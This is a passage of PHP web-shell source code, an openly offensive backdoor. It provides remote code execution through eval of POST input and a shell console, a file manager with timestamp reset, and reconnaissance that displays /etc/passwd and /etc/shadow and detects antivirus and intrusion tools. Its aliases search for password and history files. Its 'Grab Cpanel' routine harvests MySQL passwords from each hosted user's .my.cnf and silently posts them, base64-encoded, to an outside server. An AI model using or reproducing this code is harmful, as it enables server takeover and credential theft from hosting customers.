\'w\' : \'-\');\r\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\r\n\treturn $i;\r\n}\r\nfunction viewPermsColor($f) {\r\n\tif (!@is_readable($f))\r\n\t\treturn \'<font color=#ff1111><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telseif (!@is_writable($f))\r\n\t\treturn \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telse\r\n\t\treturn \'<font color=#ffffff><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n}\r\nfunction hardScandir($dir) {\r\n    if(function_exists("scandir")) {\r\n        return scandir($dir);\r\n    } else {\r\n        $dh  = opendir($dir);\r\n        while (false !== ($filename = readdir($dh)))\r\n            $files[] = $filename;\r\n        return $files;\r\n    }\r\n}\r\nfunction which($p) {\r\n\t$path = ex(\'which \' . $p);\r\n\tif(!empty($path))\r\n\t\treturn $path;\r\n\treturn false;\r\n}\r\n\r\n\r\nfunction actionRC() {\r\n\tif(!@$_POST[\'p1\']) {\r\n\t\t$a = array(\r\n\t\t\t"uname" => php_uname(),\r\n\t\t\t"php_version" => phpversion(),\r\n\t\t\t"VERSION" => VERSION,\r\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\r\n\t\t);\r\n\t\techo serialize($a);\r\n\t} else {\r\n\t\teval($_POST[\'p1\']);\r\n\t}\r\n}\r\nfunction prototype($k, $v) {\r\n    $_COOKIE[$k] = $v;\r\n    setcookie($k, $v);\r\n}\r\nfunction actionSecInfo() {\r\n\thardHeader();\r\n\techo \'<h1>Server security information</h1><div class=content>\';\r\n\tfunction showSecParam($n, $v) {\r\n\t\t$v = trim($v);\r\n\t\tif($v) {\r\n\t\t\techo \'<span>\' . $n . \': </span>\';\r\n\t\t\tif(strpos($v, "\\n") === false)\r\n\t\t\t\techo $v . \'<br>\';\r\n\t\t\telse\r\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\r\n\t\t}\r\n\t}\r\n\tshowSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\r\n    if(function_exists(\'apache_get_modules\'))\r\n        showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\r\n\tshowSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\r\n\tshowSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\r\n\tshowSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\r\n\tshowSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\r\n\tshowSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\r\n\t$temp=array();\r\n\tif(function_exists(\'mysql_get_client_info\'))\r\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\r\n\tif(function_exists(\'mssql_connect\'))\r\n\t\t$temp[] = "MSSQL";\r\n\tif(function_exists(\'pg_connect\'))\r\n\t\t$temp[] = "PostgreSQL";\r\n\tif(function_exists(\'oci_connect\'))\r\n\t\t$temp[] = "Oracle";\r\n\tshowSecParam(\'Supported databases\', implode(\', \', $temp));\r\n\techo \'<br>\';\r\n\tif($GLOBALS[\'os\'] == \'nix\') {\r\n            showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\r\n            showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\r\n            if(!$GLOBALS[\'safe_mode\']) {\r\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\r\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\r\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n                echo \'<br>\';\r\n                $temp=array();\r\n                foreach ($userful as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Userful\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($danger as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Danger\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($downloaders as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Downloaders\', implode(\', \',$temp));\r\n                echo \'<br/>\';\r\n                showSecParam(\'HDD space\', ex(\'df -h\'));\r\n                showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\r\n\t\t\t\tshowSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));\r\n            }\r\n\t} else {\r\n\t\tshowSecParam(\'OS Version\',ex(\'ver\'));\r\n\t\tshowSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));\r\n\t\tshowSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionFilesTools() {\r\n\tif( isset($_POST[\'p1\']) )\r\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\r\n\tif(@$_POST[\'p2\']==\'download\') {\r\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\r\n\t\t\tob_start("ob_gzhandler", 4096);\r\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\r\n\t\t\tif (function_exists("mime_content_type")) {\r\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\r\n\t\t\t\theader("Content-Type: " . $type);\r\n\t\t\t} else\r\n                header("Content-Type: application/octet-stream");\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile(!@feof($fp))\r\n\t\t\t\t\techo @fread($fp, 1024);\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}exit;\r\n\t}\r\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\r\n\t\tif(!file_exists($_POST[\'p1\'])) {\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\r\n\t\t\tif($fp) {\r\n\t\t\t\t$_POST[\'p2\'] = "edit";\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\thardHeader();\r\n\techo \'<h1>File tools</h1><div class=content>\';\r\n\tif( !file_exists(@$_POST[\'p1\']) ) {\r\n\t\techo \'File not exists\';\r\n\t\thardFooter();\r\n\t\treturn;\r\n\t}\r\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\r\n\tif(!$uid) {\r\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\r\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\r\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\r\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\r\n\techo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\r\n\tif( empty($_POST[\'p2\']) )\r\n\t\t$_POST[\'p2\'] = \'view\';\r\n\tif( is_file($_POST[\'p1\']) )\r\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');\r\n\telse\r\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n\tforeach($m as $v)\r\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\r\n\techo \'<br><br>\';\r\n\tswitch($_POST[\'p2\']) {\r\n\t\tcase \'view\':\r\n\t\t\techo \'<pre class=ml1>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</pre>\';\r\n\t\t\tbreak;\r\n\t\tcase \'highlight\':\r\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\r\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\r\n\t\t\t\t$oRb = @highlight_file($_POST[\'p1\'],true);\r\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$oRb).\'</div>\';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase \'chmod\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$perms = 0;\r\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\r\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\r\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\r\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'edit\':\r\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\r\n\t\t\t\techo \'File isn\\\'t writeable\';\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\r\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\r\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\r\n\t\t\t\tif($fp) {\r\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\r\n\t\t\t\t\t@fclose($fp);\r\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\r\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</textarea><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'hexdump\':\r\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\r\n\t\t\t$n = 0;\r\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\r\n\t\t\t$len = strlen($c);\r\n\t\t\tfor ($i=0; $i<$len; ++$i) {\r\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\n\t\t\t\tswitch ( ord($c[$i]) ) {\r\n\t\t\t\t\tcase 0:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 9:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\r\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\r\n\t\t\t\t}\r\n\t\t\t\t$n++;\r\n\t\t\t\tif ($n == 32) {\r\n\t\t\t\t\t$n = 0;\r\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\r\n\t\t\t\t\t$h[1] .= \'<br>\';\r\n\t\t\t\t\t$h[2] .= "\\n";\r\n\t\t\t\t}\r\n\t\t \t}\r\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#000000><pre>\'.$h[1].\'</pre></td><td bgcolor=#202832><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\r\n\t\t\tbreak;\r\n\t\tcase \'rename\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\r\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\r\n\t\t\t\telse\r\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'touch\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\r\n\t\t\t\tif($time) {\r\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\r\n\t\t\t\t\t\techo \'Fail!\';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo \'Touched!\';\r\n\t\t\t\t} else echo \'Bad time format!\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\t/* (С) 12.2015 mitryz */\r\n\t\tcase \'frame\':\r\n\t\t\t$frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));\r\n\t\t\tif ($frameSrc[0] != \'/\')\r\n\t\t\t\t$frameSrc = \'/\' . $frameSrc;\r\n\t\t\tif ($frameSrc[strlen($frameSrc) - 1] != \'/\')\r\n\t\t\t\t$frameSrc = $frameSrc . \'/\';\r\n\t\t\t$frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);\r\n\t\t\techo \'<iframe width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';\r\n\t\t\tbreak;\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nif($os == \'win\')\r\n\t$aliases = array(\r\n\t\t"List Directory" => "dir",\r\n    \t"Find index.php in current dir" => "dir /s /w /b index.php",\r\n    \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\r\n    \t"Show active connections" => "netstat -an",\r\n    \t"Show running services" => "net start",\r\n    \t"User accounts" => "net user",\r\n    \t"Show computers" => "net view",\r\n\t\t"ARP Table" => "arp -a",\r\n\t\t"IP Configuration" => "ipconfig /all"\r\n\t);\r\nelse\r\n\t$aliases = array(\r\n  \t\t"List dir" => "ls -lha",\r\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\r\n  \t\t"show opened ports" => "netstat -an | grep -i listen",\r\n        "process status" => "ps aux",\r\n\t\t"Find" => "",\r\n  \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\r\n  \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\r\n  \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\r\n  \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\r\n  \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\r\n  \t\t"find config* files" => "find / -type f -name \\"config*\\"",\r\n  \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\r\n  \t\t"find all writable folders and files" => "find / -perm -2 -ls",\r\n  \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\r\n  \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\r\n  \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\r\n  \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\r\n  \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\r\n  \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\r\n  \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\r\n  \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\r\n  \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\r\n\t\t"Locate" => "",\r\n  \t\t"locate httpd.conf files" => "locate httpd.conf",\r\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\r\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\r\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\r\n\t\t"locate my.conf files" => "locate my.conf",\r\n\t\t"locate admin.php files" =>"locate admin.php",\r\n\t\t"locate cfg.php files" => "locate cfg.php",\r\n\t\t"locate conf.php files" => "locate conf.php",\r\n\t\t"locate config.dat files" => "locate config.dat",\r\n\t\t"locate config.php files" => "locate config.php",\r\n\t\t"locate config.inc files" => "locate config.inc",\r\n\t\t"locate config.inc.php" => "locate config.inc.php",\r\n\t\t"locate config.default.php files" => "locate config.default.php",\r\n\t\t"locate config* files " => "locate config",\r\n\t\t"locate .conf files"=>"locate \'.conf\'",\r\n\t\t"locate .pwd files" => "locate \'.pwd\'",\r\n\t\t"locate .sql files" => "locate \'.sql\'",\r\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\r\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\r\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\r\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\r\n\t\t"locate backup files" => "locate backup",\r\n\t\t"locate dump files" => "locate dump",\r\n\t\t"locate priv files" => "locate priv"\r\n\t);\r\nfunction actionConsole() {\r\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\r\n        $_POST[\'p1\'] .= \' 2>&1\';\r\n    } elseif(!empty($_POST[\'p1\']))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n\t\tob_start();\r\n\t\techo "d.cf.cmd.value=\'\';\\n";\r\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));\r\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\r\n\t\t\tif(@chdir($match[1])) {\r\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\r\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo "d.cf.output.value+=\'".$temp."\';";\r\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\r\n\t\t$temp = ob_get_clean();\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n\thardHeader();\r\n    echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array(\'\');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push(\'\');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";\r\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><label><select name=alias>\';\r\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\r\n\t\tif($v == \'\') {\r\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\r\n\t}\r\n\techo \'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']));\r\n\t}\r\n\techo \'</textarea><table style="border:1px solid #000000;background-color:#000000;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\r\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\r\n\thardFooter();\r\n}\r\nfunction actionbypas() {\r\n\thardHeader();\r\n\techo "<center><h1>Bypass Tools</h1><div class=content><br>";\r\n\t\r\n\techo"<th><a href=\'#\' onclick=\'g(\\"passw\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'> [ Bypass: /etc/passwd ] </a></th><p>";\r\n\techo"<th><a href=\'#\' onclick=\'g(\\"disable\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'> [ Bypass: Disbaled Functions ] </a></th>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionSym() {\r\n\thardHeader();\r\n\techo "<center><h1>Symlink</h1><div class=content><br>";\r\n\t\r\n\techo "<br><center>  <iframe src=\'?sym\' width=\'900\' height=\'300\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionpassw() {\r\n\thardHeader();\r\n\techo "<center><h1>Bypass: /etc/passwd</h1><div class=content><br>";\r\n\t\r\n\techo "<br><center>  <iframe src=\'?passwd\' width=\'900\' height=\'400\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actiondisable() {\r\n\thardHeader();\r\n\techo "<center><h1>Bypass: Disabled Functions</h1><div class=content><br>";\r\n\techo "<br><center>  <iframe src=\'?disabled\' width=\'900\' height=\'300\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionPhp() {\r\n\thardHeader();\r\n\techo "<center><h1>Grab Cpanel</h1><div class=content><br>";\r\n\t @ini_set(\'display_errors\', 0);\r\nfunction entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1) {\r\n    $ar0 = explode($marqueurDebutLien, $text);\r\n    $ar1 = explode($marqueurFinLien, $ar0[$i]);\r\n    return trim($ar1[0]);\r\n}\r\necho \'<br><br>\';\r\necho \'<center>\';\r\n$d0mains = @file(\'/etc/named.conf\');\r\n$domains = scandir("/var/named");\r\nif ($domains or $d0mains) {\r\n    $domains = scandir("/var/named");\r\n    if ($domains) {\r\n        echo "<table align=center><tr><th valign=top  class=style2> COUNT </th><th valign=top > DOMAIN </th><th valign=top class=style2 > USER </th><th valign=top class=style2 > Password </th><th valign=top class=style2 > .my.cnf </th></tr>";\r\n        $count = 1;\r\n        $dc = 0;\r\n        $list = scandir("/var/named");\r\n        foreach ($list as $domain) {\r\n            if (strpos($domain, ".db")) {\r\n                $domain = str_replace(\'.db\', \'\', $domain);\r\n                $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));\r\n                $dirz = \'/home/\' . $owner[\'name\'] . \'/.my.cnf\';\r\n                $path = getcwd();\r\n                if (is_readable($dirz)) {\r\n                    copy($dirz, \'\' . $path . \'/\' . $owner[\'name\'] . \'.txt\');\r\n                    $p = file_get_contents(\'\' . $path . \'/\' . $owner[\'name\'] . \'.txt\');\r\n                    $password = entre2v2($p, \'password="\', \'"\');\r\n                    echo "<tr><td valign=top style=border :2px solid white; width: 139px class=style2>" . $count++ . "</td><td valign=top style= width: 139px; border :2px solid white  class=style2 ><a href=http://" . $domain . ":2082 target=_blank>" . $domain . "</a></td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $owner[\'name\'] . "</td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $password . "</td><td valign=top style=border :2px solid white style=width: 139px><a href=" . $owner[\'name\'] . ".txt target=_blank>Click Here</a></td></tr>";\r\n                    $dc++;\r\n                    $success3 = "http://" . $domain . "|" . $owner[\'name\'] . "|" . $password . "\r\n";\r\n                    $ch = curl_init();\r\n                    curl_setopt($ch, CURLOPT_URL, "http://ww3s.ws/ok.php");\r\n                    curl_setopt($ch, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0\');\r\n                    curl_setopt($ch, CURLOPT_POST, 1);\r\n                    curl_setopt($ch, CURLOPT_POSTFIELDS, "result=" . base64_encode($success3));\r\n                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n                    curl_setopt($ch, CURLOPT_HEADER, 1);\r\n                    $buffer = curl_exec($ch);\r\n                }\r\n            }\r\n        }\r\n        echo \'</table>\';\r\n        $total = $dc;\r\n        echo \'</center>\';\r\n    } else {\r\n        $d0mains = @file(\'/etc/named.conf\');\r\n        if ($d0mains) {\r\n            echo "<table align=center><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";\r\n            $count = 1;\r\n            $dc = 0;\r\n            $mck = array();\r\n            foreach ($d0mains as $d0main) {\r\n                if (@eregi(\'zone\', $d0main)) {\r\n                    preg_match_all(\'#zone "(.*)"#\', $d0main, $domain);\r\n                    flush();\r\n                    if (strlen(trim($domain[1][0])) > 2) {\r\n                        $mck[] = $domain[1][0];\r\n                    }\r\n                }\r\n            }\r\n            $mck = array_unique($mck);\r\n            $usr = array();\r\n            $dmn = array();\r\n            foreach ($mck as $o) {\r\n                $infos = @posix_getpwuid(fileowner("/etc/valiases/" . $o));\r\n                $usr[] = $infos[\'name\'];\r\n                $dmn[] = $o;\r\n            }\r\n            array_multisort($usr, $dmn);\r\n            $dt = file(\'/etc/passwd\');\r\n            $passwd = array();\r\n            foreach ($dt as $d) {\r\n                $r = explode(\':\', $d);\r\n                if (strpos($r[5], \'home\')) {\r\n                    $passwd[$r[0]] = $r[5];\r\n                }\r\n            }\r\n            $l = 0;\r\n            $j = 1;\r\n            foreach ($usr as $r) {\r\n                $dirz = \'/home/\' . $r . \'/.my.cnf\';\r\n                $path = getcwd();\r\n                if (is_readable($dirz)) {\r\n                    copy($dirz, \'\' . $path . \'/\' . $r . \'.txt\');\r\n                   